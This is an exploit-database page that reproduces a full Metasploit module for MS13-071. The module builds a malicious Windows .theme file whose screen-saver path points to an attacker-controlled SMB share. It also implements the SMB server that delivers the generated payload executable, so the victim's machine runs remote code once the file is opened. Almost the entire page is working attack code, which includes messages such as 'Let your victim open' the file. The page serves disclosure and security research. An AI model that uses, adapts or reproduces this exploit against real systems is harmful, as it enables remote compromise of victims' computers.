Lucene search
K

MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution

🗓️ 20 Sep 2013 00:00:00Reported by Eduardo PradoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution. Exploits vulnerability in handling the Screen Saver path, allowing remote code execution via malicious .theme file

Related
Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::SMBServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution",  
'Description' => %q{  
This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows  
2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]  
section. An arbitrary path can be used as screen saver, including a remote SMB resource,  
which allows for remote code execution when a malicious .theme file is opened, and the  
"Screen Saver" tab is viewed.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Eduardo Prado', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2013-0810'],  
['OSVDB', '97136'],  
['MSB', 'MS13-071'],  
['BID', '62176']  
],  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => 'false'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows XP SP3 / Windows 2003 SP2', {}],  
],  
'Privileged' => false,  
'DisclosureDate' => "Sep 10 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),  
OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])  
], self.class)  
end  
  
def exploit  
  
if (datastore['UNCPATH'])  
@unc = datastore['UNCPATH']  
print_status("Remember to share the malicious EXE payload as #{@unc}")  
else  
print_status("Generating our malicious executable...")  
@exe = generate_payload_exe  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']  
@share = rand_text_alpha(5 + rand(5))  
@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"  
@hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)  
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"  
end  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
# Default Windows XP / 2003 theme modified  
theme = <<-EOF  
; Copyright © Microsoft Corp. 1995-2001  
  
[Theme]  
[email protected],-2016  
  
; My Computer  
[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon]  
DefaultValue=%WinDir%explorer.exe,0  
  
; My Documents  
[CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\DefaultIcon]  
DefaultValue=%WinDir%SYSTEM32\\mydocs.dll,0  
  
; My Network Places  
[CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\DefaultIcon]  
DefaultValue=%WinDir%SYSTEM32\\shell32.dll,17  
  
; Recycle Bin  
[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon]  
full=%WinDir%SYSTEM32\\shell32.dll,32  
empty=%WinDir%SYSTEM32\\shell32.dll,31  
  
[Control Panel\\Desktop]  
Wallpaper=  
TileWallpaper=0  
WallpaperStyle=2  
Pattern=  
ScreenSaveActive=0  
  
[boot]  
SCRNSAVE.EXE=#{@unc}  
  
[MasterThemeSelector]  
MTSM=DABJDKT  
EOF  
file_create(theme)  
print_good("Let your victim open #{datastore['FILENAME']}")  
  
if not datastore['UNCPATH']  
print_status("Ready to deliver your payload on #{@unc}")  
super  
end  
  
end  
  
# TODO: these smb_* methods should be moved up to the SMBServer mixin  
# development and test on progress  
  
def smb_cmd_dispatch(cmd, c, buff)  
smb = @state[c]  
vprint_status("Received command #{cmd} from #{smb[:name]}")  
  
pkt = CONST::SMB_BASE_PKT.make_struct  
pkt.from_s(buff)  
#Record the IDs  
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']  
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']  
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']  
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']  
  
case cmd  
when CONST::SMB_COM_NEGOTIATE  
smb_cmd_negotiate(c, buff)  
when CONST::SMB_COM_SESSION_SETUP_ANDX  
wordcount = pkt['Payload']['SMB'].v['WordCount']  
if wordcount == 0x0D # It's the case for Share Security Mode sessions  
smb_cmd_session_setup(c, buff)  
else  
vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")  
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)  
end  
when CONST::SMB_COM_TRANSACTION2  
smb_cmd_trans(c, buff)  
when CONST::SMB_COM_NT_CREATE_ANDX  
smb_cmd_create(c, buff)  
when CONST::SMB_COM_READ_ANDX  
smb_cmd_read(c, buff)  
else  
vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")  
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)  
end  
end  
  
  
def smb_cmd_negotiate(c, buff)  
pkt = CONST::SMB_NEG_PKT.make_struct  
pkt.from_s(buff)  
  
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)  
  
dialect = dialects.index("NT LM 0.12") || dialects.length-1  
  
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 17  
pkt['Payload'].v['Dialect'] = dialect  
pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode  
pkt['Payload'].v['MaxMPX'] = 50  
pkt['Payload'].v['MaxVCS'] = 1  
pkt['Payload'].v['MaxBuff'] = 4356  
pkt['Payload'].v['MaxRaw'] = 65536  
pkt['Payload'].v['SystemTimeLow'] = time_lo  
pkt['Payload'].v['SystemTimeHigh'] = time_hi  
pkt['Payload'].v['ServerTimeZone'] = 0x0  
pkt['Payload'].v['SessionKey'] = 0  
pkt['Payload'].v['Capabilities'] = 0x80f3fd  
pkt['Payload'].v['KeyLength'] = 8  
pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)  
  
c.put(pkt.to_s)  
end  
  
def smb_cmd_session_setup(c, buff)  
  
pkt = CONST::SMB_SETUP_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 3  
pkt['Payload'].v['AndX'] = 0x75  
pkt['Payload'].v['Reserved1'] = 00  
pkt['Payload'].v['AndXOffset'] = 96  
pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest  
pkt['Payload'].v['Payload'] =  
Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature  
Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature  
Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature  
tree_connect_response = ""  
tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount  
tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand  
tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved  
tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset  
tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support  
tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter  
tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter  
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter  
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter  
tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount  
tree_connect_response << "A:\x00" # Service  
tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters  
# Fix the Netbios Session Service Message Length  
# to have into account the tree_connect_response,  
# need to do this because there isn't support for  
# AndX still  
my_pkt = pkt.to_s + tree_connect_response  
original_length = my_pkt[2, 2].unpack("n").first  
original_length = original_length + tree_connect_response.length  
my_pkt[2, 2] = [original_length].pack("n")  
c.put(my_pkt)  
end  
  
def smb_cmd_create(c, buff)  
pkt = CONST::SMB_CREATE_PKT.make_struct  
pkt.from_s(buff)  
  
if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/  
pkt = CONST::SMB_CREATE_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 42  
pkt['Payload'].v['AndX'] = 0xff # no further commands  
pkt['Payload'].v['OpLock'] = 0x2  
# No need to track fid here, we're just offering one file  
pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0  
pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened  
pkt['Payload'].v['CreateTimeLow'] = @lo  
pkt['Payload'].v['CreateTimeHigh'] = @hi  
pkt['Payload'].v['AccessTimeLow'] = @lo  
pkt['Payload'].v['AccessTimeHigh'] = @hi  
pkt['Payload'].v['WriteTimeLow'] = @lo  
pkt['Payload'].v['WriteTimeHigh'] = @hi  
pkt['Payload'].v['ChangeTimeLow'] = @lo  
pkt['Payload'].v['ChangeTimeHigh'] = @hi  
pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file  
pkt['Payload'].v['AllocLow'] = 0x100000  
pkt['Payload'].v['AllocHigh'] = 0  
pkt['Payload'].v['EOFLow'] = @exe.length  
pkt['Payload'].v['EOFHigh'] = 0  
pkt['Payload'].v['FileType'] = 0  
pkt['Payload'].v['IPCState'] = 0x7  
pkt['Payload'].v['IsDirectory'] = 0  
c.put(pkt.to_s)  
else  
pkt = CONST::SMB_CREATE_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX  
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
c.put(pkt.to_s)  
end  
  
end  
  
def smb_cmd_read(c, buff)  
pkt = CONST::SMB_READ_PKT.make_struct  
pkt.from_s(buff)  
  
offset = pkt['Payload'].v['Offset']  
length = pkt['Payload'].v['MaxCountLow']  
  
pkt = CONST::SMB_READ_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 12  
pkt['Payload'].v['AndX'] = 0xff # no more commands  
pkt['Payload'].v['Remaining'] = 0xffff  
pkt['Payload'].v['DataLenLow'] = length  
pkt['Payload'].v['DataOffset'] = 59  
pkt['Payload'].v['DataLenHigh'] = 0  
pkt['Payload'].v['Reserved3'] = 0  
pkt['Payload'].v['Reserved4'] = 6  
pkt['Payload'].v['ByteCount'] = length  
pkt['Payload'].v['Payload'] = @exe[offset, length]  
  
c.put(pkt.to_s)  
end  
  
def smb_cmd_trans(c, buff)  
pkt = CONST::SMB_TRANS2_PKT.make_struct  
pkt.from_s(buff)  
  
sub_command = pkt['Payload'].v['SetupData'].unpack("v").first  
case sub_command  
when 0x5 # QUERY_PATH_INFO  
smb_cmd_trans_query_path_info(c, buff)  
when 0x1 # FIND_FIRST2  
smb_cmd_trans_find_first2(c, buff)  
else  
pkt = CONST::SMB_TRANS_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND  
c.put(pkt.to_s)  
end  
end  
  
def smb_cmd_trans_query_path_info(c, buff)  
pkt = CONST::SMB_TRANS2_PKT.make_struct  
pkt.from_s(buff)  
  
if pkt['Payload'].v['SetupData'].length < 16  
# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,  
# return a Directory answer  
pkt = CONST::SMB_TRANS_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 10  
pkt['Payload'].v['ParamCountTotal'] = 2  
pkt['Payload'].v['DataCountTotal'] = 40  
pkt['Payload'].v['ParamCount'] = 2  
pkt['Payload'].v['ParamOffset'] = 56  
pkt['Payload'].v['DataCount'] = 40  
pkt['Payload'].v['DataOffset'] = 60  
pkt['Payload'].v['Payload'] =  
"\x00" + # Padding  
# QUERY_PATH_INFO Parameters  
"\x00\x00" + # EA Error Offset  
"\x00\x00" + # Padding  
#QUERY_PATH_INFO Data  
[@lo, @hi].pack("VV") + # Created  
[@lo, @hi].pack("VV") + # Last Access  
[@lo, @hi].pack("VV") + # Last Write  
[@lo, @hi].pack("VV") + # Change  
"\x10\x00\x00\x00" + # File attributes => directory  
"\x00\x00\x00\x00" # Unknown  
c.put(pkt.to_s)  
  
else  
# if QUERY_PATH_INFO_PARAMETERS includes a file name,  
# returns an object name not found error  
pkt = CONST::SMB_TRANS_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
c.put(pkt.to_s)  
  
end  
end  
  
def smb_cmd_trans_find_first2(c, buff)  
  
pkt = CONST::SMB_TRANS_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
file_name = Rex::Text.to_unicode(@scr_file)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 10  
pkt['Payload'].v['ParamCountTotal'] = 10  
pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length  
pkt['Payload'].v['ParamCount'] = 10  
pkt['Payload'].v['ParamOffset'] = 56  
pkt['Payload'].v['DataCount'] = 94 + file_name.length  
pkt['Payload'].v['DataOffset'] = 68  
pkt['Payload'].v['Payload'] =  
"\x00" + # Padding  
# FIND_FIRST2 Parameters  
"\xfd\xff" + # Search ID  
"\x01\x00" + # Search count  
"\x01\x00" + # End Of Search  
"\x00\x00" + # EA Error Offset  
"\x00\x00" + # Last Name Offset  
"\x00\x00" + # Padding  
#QUERY_PATH_INFO Data  
[94 + file_name.length].pack("V") + # Next Entry Offset  
"\x00\x00\x00\x00" + # File Index  
[@lo, @hi].pack("VV") + # Created  
[@lo, @hi].pack("VV") + # Last Access  
[@lo, @hi].pack("VV") + # Last Write  
[@lo, @hi].pack("VV") + # Change  
[@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File  
"\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size  
"\x80\x00\x00\x00" + # File attributes => directory  
[file_name.length].pack("V") + # File name len  
"\x00\x00\x00\x00" + # EA List Lenght  
"\x00" + # Short file lenght  
"\x00" + # Reserved  
("\x00" * 24) +  
file_name  
  
c.put(pkt.to_s)  
end  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation